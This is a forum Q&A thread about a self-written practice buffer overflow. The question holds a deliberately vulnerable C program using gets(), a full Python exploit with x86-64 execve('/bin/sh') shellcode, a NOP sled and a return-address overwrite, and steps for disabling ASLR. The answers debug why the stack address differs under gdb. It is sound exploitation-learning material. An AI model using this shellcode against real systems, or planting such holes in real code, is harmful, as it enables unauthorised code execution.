Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?

Question

I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but I don't understand why this small, seemingly-insignificant change fixed my issue.

vuln.c

/**
 * Compile:
 *
 * $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
 */

#include <stdio.h>
#include <string.h>

int main(void)
{
    char buffer[256];

    gets(buffer);

    if (strcmp(buffer, "password") == 0)
    {
        printf("PASS\n");
    }
    else
    {
        printf("FAIL\n");
    }

    return 0;
}

exploit.py

#!/usr/bin/python
# -*- coding: utf-8 -*-


import os
import struct
import sys



# Start-of-buffer = 0x00007fffffffdc50
if len(sys.argv) != 2:
    sys.stderr.write('Usage: {progname!s} return-addr{linesep!s}'.format(
            progname=__file__, linesep=os.linesep
            )
        )
    sys.exit(1)
else:
    return_addr = int(sys.argv[1], 16)


shellcode = b''.join([
        b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68',    # mov     rax, 0x68732f6e69622f2f   ; "hs/nib//" => "//bin/sh"
        b'\x48\xc1\xe8\x08',                            # shr     rax, 8
        b'\x50',                                        # push    rax
        b'\x48\x89\xe7',                                # mov     rdi, rsp
        b'\x48\x31\xc0',                                # xor     rax, rax
        b'\x50',                                        # push    rax
        b'\x57',                                        # push    rdi
        b'\x48\x89\xe6',                                # mov     rsi, rsp
        b'\x50',                                        # push    rax
        b'\x48\x89\xe2',                                # mov     rdx, rsp
        b'\xb0\x3b',                                    # mov     al, 59

        b'\x0f\x05',                                    # syscall
        ]
    )

PAYLOAD_SIZE = 256 + 8 + 8

padding = b'\x41' * 32

nopsled = b'\x90' * (PAYLOAD_SIZE - len(shellcode) - 8 - 8 - len(padding))

rbp = struct.pack('<Q', 0x4242424242424242)

rip = struct.pack('<Q', return_addr)

payload = nopsled + shellcode + padding + rbp + rip


sys.stdout.buffer.write(payload)

When I execute the following, I get a SEGFAULT:

$ { python exploit.py 0x00007fffffffdc50 ; echo ; cat - } | ./vuln

However, this gives me a shell:

$ { python exploit.py 0x00007fffffffdcd0 ; echo ; cat - } | ./vuln

Note

I disabled ASLR during my testing.

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Other considerations

$ uname -r
4.19.81-1-MANJARO
$ gcc --version
gcc (GCC) 9.2.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Answer 1

How are you determining the address of buffer[]? If you're running the app under gdb, printing the address, and then running the exploit script using that address against the application running outside gdb, then note that the stack may be at a different address depending on whether you're running under gdb!

For example, I modified vuln.c to print the address when it starts:

printf("%p\n", &buffer[0]);

When I run the application directly, the result is consistently one address:

$ echo x | ./tmp 0x7fffffffe1f0

... but when I run the application under gdb, the result is consistently a different address:

$ echo x | gdb -ex run ./tmp ... 0x7fffffffe1a0

The difference between those two values may be the "0x...50 <-> 0x...d0" difference you're having to apply in order to get the exploit to work.

Now if I use the non-gdb buffer address when running the app outside gdb, the exploit works as expected.

$ ./tmp-exploit.py 0x7fffffffe1f0 | ./tmp 0x7fffffffe1f0 FAIL

$ ./tmp-exploit.py 0x7fffffffe1a0 | gdb -ex run ./tmp ... 0x7fffffffe1a0 FAIL process 23430 is executing new program: /bin/dash [Inferior 1 (process 23430) exited normally] (gdb) quit

Answer 2

This is a bit of a guess without information such as:

• Details of the segfault.
• Disassembly of the vulnerable application binary.

The C compiler knows that buffer[] isn't used after the call to strcmp(), and hence may re-use it for other purposes between the return from strcmp() and return from main(). This may corrupt the first few bytes of buffer[], causing it to contain invalid instructions, causing the segfault.

To confirm this, run the vulnerable application under gdb, put a breakpoint in main() after gets() returns and dump buffer[]. Record the address of buffer. Continue the application and wait for the segfault. Now dump the memory of buffer[] again and check if the content still contains the nopsled, or whether it's been over-written.

By changing from 0x...50 to 0x...90 you're jumping to a later part of the payload and skipping the corrupted portion.

Answer 3

Changing something small in a payload can have huge effects on the success or failure of an attempt. I assume the small change allowed the payload to be put in an acceptable location to hijack the programs execution while the former only overwrote some of the buffers but caused a crash.